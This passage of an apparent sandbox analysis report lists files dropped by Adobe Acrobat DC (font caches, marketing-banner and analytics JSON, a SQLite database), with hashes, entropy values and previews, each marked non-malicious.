DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6772

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.363394771237016
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCZZBCnSUib5Glvp0YMeUoAvJM3g98kUwPeUkwRe9:YvXKX0/dUitooenGMbLUkee9
MD5:	4163219FCA60709665375CE1B747C903
SHA1:	76716D00AAF4E48E67835F8D4F2B9B72327B8F4E
SHA-256:	F10030A834DEF258E2555CD1C82CA6C3DEA403ACDB27EAE14125B3D5E986974F
SHA-512:	6A616E063A5C2774E4CC99A312C7533FF934E6FE16F95C9F33BC9403C5084E1EAD1DCCAF5BC1B688A3D87EFFF1E9E7A5F227353BDE2D4E984984A9BD690ADE64
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cada70e8-d7ce-461b-8860-13130bbd8ef0","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736756176806,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.30771993754467
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCZZBCnSUib5Glvp0YMeUoAvJfBoTfXpnrPeUkwRe9:YvXKX0/dUitooenGWTfXcUkee9
MD5:	B066C42FB6982FF6B6EAA0182B7E4228
SHA1:	4ADE3E1A99ECB438A19B5B156E37F0149DCF80E9
SHA-256:	07762CAB58EB0449D309511DD09FCFC838A0074DEEEDE2B982D906BA0B21146C
SHA-512:	7C3CA925AA8E2BEA0F50821832BF2FB4053DADAEB0EB928E0141D1169F04D64C38B96AF7992F763FD178A580424AC1060E0E6A42B66DB24530D21E0046B4A3E9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cada70e8-d7ce-461b-8860-13130bbd8ef0","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736756176806,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.286541012590269
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCZZBCnSUib5Glvp0YMeUoAvJfBD2G6UpnrPeUkwRe9:YvXKX0/dUitooenGR22cUkee9
MD5:	0AB7A5B29BE743BF3F090145F06AD9D4
SHA1:	20AEB06C7325E66B3300A3BB9DD5999E82BD6ED7
SHA-256:	ABC1BEF5A4100F78C9FE97F71A60A1E9A6F3716EF1593C199CC3F0BEE8077AE8
SHA-512:	C026DC7C616A7406694E5FEDB3A25432B6AE5F71E1F4AD6ADF99AD45376B567B32E161E8CF25A0CBF6AE40EC3076078791F32884F360161D950E13287D811357
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cada70e8-d7ce-461b-8860-13130bbd8ef0","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736756176806,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.354074384122755
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCZZBCnSUib5Glvp0YMeUoAvJfPmwrPeUkwRe9:YvXKX0/dUitooenGH56Ukee9
MD5:	75BEA50A74B18E843568016D52DE48D2
SHA1:	D636D7F5D2304326DCFD7B7C16AD9D8CCD90E847
SHA-256:	06B1832E982E1E32229D75C38C9A0414D8C00E34D41551ED42A8C4F0D9032223
SHA-512:	46DBEADE9379463DF61E964F71B4EF85FC32B16AC440BFC38B19D25187CC0F14D7BC3062BE2CCCB2C5769E8F989F2E2834A7180385BC5EAAF808C720A18B503F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cada70e8-d7ce-461b-8860-13130bbd8ef0","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736756176806,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690346467990528
Encrypted:	false
SSDEEP:	24:Yv6Xe63spLgE9cQx8LennAvzBvkn0RCmK8czOCCS+:YvZ63shgy6SAFv5Ah8cv/+
MD5:	CBB494F4CB1D59FE4FF0F17DBBC3557A
SHA1:	7D036663ACA4E6D9F6792B922D316D203FA4E312
SHA-256:	A1E50C6194929A104C52B2F36438304552638BE9A755BCAF5221254D847EE4FC
SHA-512:	BCED13B1FD07177242CFFFD7841B5AD6F0B67ED14CA26E169111C722FDDA3CF494F1A32A8C13C643FD9616D2AFB3F5FCB7F98762B6A2252D67D01C4BB84CDD52
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cada70e8-d7ce-461b-8860-13130bbd8ef0","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736756176806,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.298517409312521
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCZZBCnSUib5Glvp0YMeUoAvJf8dPeUkwRe9:YvXKX0/dUitooenGU8Ukee9
MD5:	FA5125D149B4033D1CCE021CAF5EE1E3
SHA1:	2D0C8AC8F13411E0FE6497BD6309A8C1441177DA
SHA-256:	815F9DE1E422A21207965A8ECE62D0D11536F0DB6D75F03FC84DBBE8514659A3
SHA-512:	968EB09A469797F79BCA3C54FBB6482AAD89AD437C98E4309D556928923201B5D441E126FA030355529C50137B449CFEE5B480EEC35F8DF9B8B5D71038102E90
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cada70e8-d7ce-461b-8860-13130bbd8ef0","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736756176806,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.299231414097912
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCZZBCnSUib5Glvp0YMeUoAvJfQ1rPeUkwRe9:YvXKX0/dUitooenGY16Ukee9
MD5:	58ACCE917BD5A75FE200B9B9D07B5135
SHA1:	5778E6BF8E3097AED8F13F0F6B7F3D09C2D7A8F3
SHA-256:	574812369183693CA9B32341F8F635309DE6F4E18EC289054B01CDAC949E78AD
SHA-512:	CEFB4E98D16381000FE7D08D545946ACEF6BE6052CF5A55CCA894C96ABCA52D84110EFB15C8CD92C7E22EFEB99EE1DA2036AA5442A53627FC838C0B10FE63DEC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cada70e8-d7ce-461b-8860-13130bbd8ef0","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736756176806,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.306984593992125
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCZZBCnSUib5Glvp0YMeUoAvJfFldPeUkwRe9:YvXKX0/dUitooenGz8Ukee9
MD5:	2319167D37A881F7618A0EF98A262E11
SHA1:	8E356C61255FC7AC75FF571937BC2F8DDB22077C
SHA-256:	506BBFBB581C5EBC112B8EEBB2AACBB0A161460A7040BC898A21519237A312B9
SHA-512:	323B27181DB5516EFBDF0BE621C843A1214DB393A6D4A55C18320CE1DCD0EE2A017CF645AC22C5DA74FF9042F564F102BEFE6EDB2E8BF66E9979CF576B5155A5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cada70e8-d7ce-461b-8860-13130bbd8ef0","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736756176806,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.323794871603465
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCZZBCnSUib5Glvp0YMeUoAvJfzdPeUkwRe9:YvXKX0/dUitooenGb8Ukee9
MD5:	0C66896FDB09D77546144C3EC196EF9A
SHA1:	929D4AD25AF44156D7E952DD0604E6F01FADEAEB
SHA-256:	F4330020ACCD3F510AF50F8D1F84809275CEC23DCA582651767FD490CE20E983
SHA-512:	FE58C106FB673C5911255BAD1BDCD82824F6765EDAB80C61AD26D879EA78851B8DDD645A20AA38ED6BE581B3E02DF2B690D0F6BEB87668230B75133AF07CBF34
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cada70e8-d7ce-461b-8860-13130bbd8ef0","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736756176806,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.304530612661267
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCZZBCnSUib5Glvp0YMeUoAvJfYdPeUkwRe9:YvXKX0/dUitooenGg8Ukee9
MD5:	AB1AA5A36B3FA7850EF0881D654C0576
SHA1:	2C53B0E865F9CDB526B04FD1AC5E157079E3F07A
SHA-256:	CEA7BBC4E493154BEF41AC1DD1183729448B27094201AD4CBBD47C5387ADB62F
SHA-512:	F5FDC6C0F7F2C5A4B29082EB1A21EA7853EA98D7432BACD70A40B3749215B9E5021C9A17532A82F889C6E54EA299B12E984CC19F71996E41A67F64AA8274E7F5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cada70e8-d7ce-461b-8860-13130bbd8ef0","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736756176806,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.291242103412017
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCZZBCnSUib5Glvp0YMeUoAvJf+dPeUkwRe9:YvXKX0/dUitooenG28Ukee9
MD5:	348B72B11C7C7669563B26DDCB1BAD71
SHA1:	7C23E15ED178401B8B83F845A766D55649430FF9
SHA-256:	F75AD810D8E6742EE692A1A3B0ED749270F1929C3D77B63603B73A0FBCB0B6BF
SHA-512:	F1FF7E36C9E36BFE2E424C314A08B604DF4051938BFCFC6C959A58E63B723E0E3F65416BCD5E820DA2E32BF133CD011C0D68ACE25CB6878AA6AEAFAC5BE2F7C1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cada70e8-d7ce-461b-8860-13130bbd8ef0","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736756176806,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.288046572103782
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCZZBCnSUib5Glvp0YMeUoAvJfbPtdPeUkwRe9:YvXKX0/dUitooenGDV8Ukee9
MD5:	1C3812863161E11A5261C31C3A499B57
SHA1:	11BDAFDB6B924365F61B71FE66B6CFA4C49062CF
SHA-256:	4A6AC12ADDCD35563276034162899151525A702DFE0DAB3D76108708ED2ADA1C
SHA-512:	E11F31C183716D5D31A0F660928021F324231945A4CD3DFA434113F3AEE731200CC1AC5F8265EB586EB1F937EEF64DF5DCCC4E9A0AF820E95F724675343AAB55
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cada70e8-d7ce-461b-8860-13130bbd8ef0","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736756176806,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.289782501832153
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCZZBCnSUib5Glvp0YMeUoAvJf21rPeUkwRe9:YvXKX0/dUitooenG+16Ukee9
MD5:	000D2FAADA204640EB0BFE7166F148ED
SHA1:	3B2C7E0828CA0777D232675690E3D9D5F38D8775
SHA-256:	A5A81A591A59BE71584D3D1C016925C7E4CDC0234CFABD45E44B4A58C4F8A859
SHA-512:	A80045AD0B234142FAB979ED45046B5AC811368767855A3967A6D64027361776368AE2393AB33BA5AC612BB01D19BEB11B162C73E2DAB7D8C96355EB8BBCA2DE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cada70e8-d7ce-461b-8860-13130bbd8ef0","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736756176806,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662963527999449
Encrypted:	false
SSDEEP:	24:Yv6Xe63YamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS+:YvZ63eBgkDMUJUAh8cvM+
MD5:	7CD54DDA66118C7BB7E6BA868DA13EA7
SHA1:	3B9BFA8993E2E3FDB4AA4FBF24B21AF312F3B837
SHA-256:	8338A4888D4A57AF7E8B3806EED19107DA3617969274BEF05264A4F8E67129BD
SHA-512:	847831347EDB6FD9F05329C3F365E6542EA093714FD42DB8C4E287DF36B7A7C908FDFD26A666AD1FDB8A4C8A6FD75DDCE6C2685EA1EAA972A0793034211382A4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cada70e8-d7ce-461b-8860-13130bbd8ef0","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736756176806,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.266139680024906
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCZZBCnSUib5Glvp0YMeUoAvJfshHHrPeUkwRe9:YvXKX0/dUitooenGUUUkee9
MD5:	200FF383E4A6E259E78D8C0739D2504C
SHA1:	9F46FDDD7CD0A38E163149AAF4DE18E0543836C8
SHA-256:	574189E66944145F39365494040D9B94E1B366A705EDACDBC5035958D45B9DBA
SHA-512:	A65DADECBA9824DD7ACB5AD87B7DDEC4537B194F33ACDB796C3F71F25900336F5533177AE8585ABDD0157A7274DE67FE9D86DB4FFC1B72A49530FBDC086D9639
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cada70e8-d7ce-461b-8860-13130bbd8ef0","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736756176806,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.272976832261961
Encrypted:	false
SSDEEP:	6:YEQXJ2HXCZZBCnSUib5Glvp0YMeUoAvJTqgFCrPeUkwRe9:YvXKX0/dUitooenGTq16Ukee9
MD5:	224A47E4211A63CB421D559DE0256FB6
SHA1:	B7DA343ABCA47FC9615A512D544409258806246B
SHA-256:	BBF03DF01063F138F8C22DB02A8E56AA5C6E54C6502E7F8D7692E3335BB19A58
SHA-512:	5131A4F2CE609809D5EBBAA5C839BF56D53B555AAF071D72DAAB62CEAB0D6BD7B5717D26F314EC2A900ACE07C3959FE0AB39B86F28744CEB03A30F29400728ED
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cada70e8-d7ce-461b-8860-13130bbd8ef0","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736756176806,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139080104507093
Encrypted:	false
SSDEEP:	24:Yn5MaijBayFLuXw0lGL+av/NE8jq7j0S8sCQ27p2LSOCPeCLhS94HmX5S9LWuwOG:YnYj4wVLRxqXTbko0BLQ9t09s
MD5:	D8AB4124D564B93890B3ABADCC999C35
SHA1:	FEA7A7D20E94D191D3ACE9ABE4F3D7BC3F7EEC2D
SHA-256:	3044D2865EEA0FDCD53C0F0F37ADD80C2E1A5561588D161F20B4F2F08734B4CB
SHA-512:	8135D001B52C467622952F12820600DD108EB96287F59625749642B37B5B8BAB2912199632F43E426E92672B199AC72D59F54C63D6381632DFAFBA50FFB71377
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"d764bfce60d34b322a264f38f7f39b09","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736576761000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"159d33cb46266b52b559c9233a0b7188","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736576761000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ebd54c3548494162c14ac4608a2b1d83","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736576761000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b014948878af2053460fc9798055e0b1","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736576761000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"cf007b75b6cb8532c245f6cad2dbb114","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736576761000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"c81fd9cd48e92ca27034616bb1cd2e3b","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 28, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 28
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.458514042624786
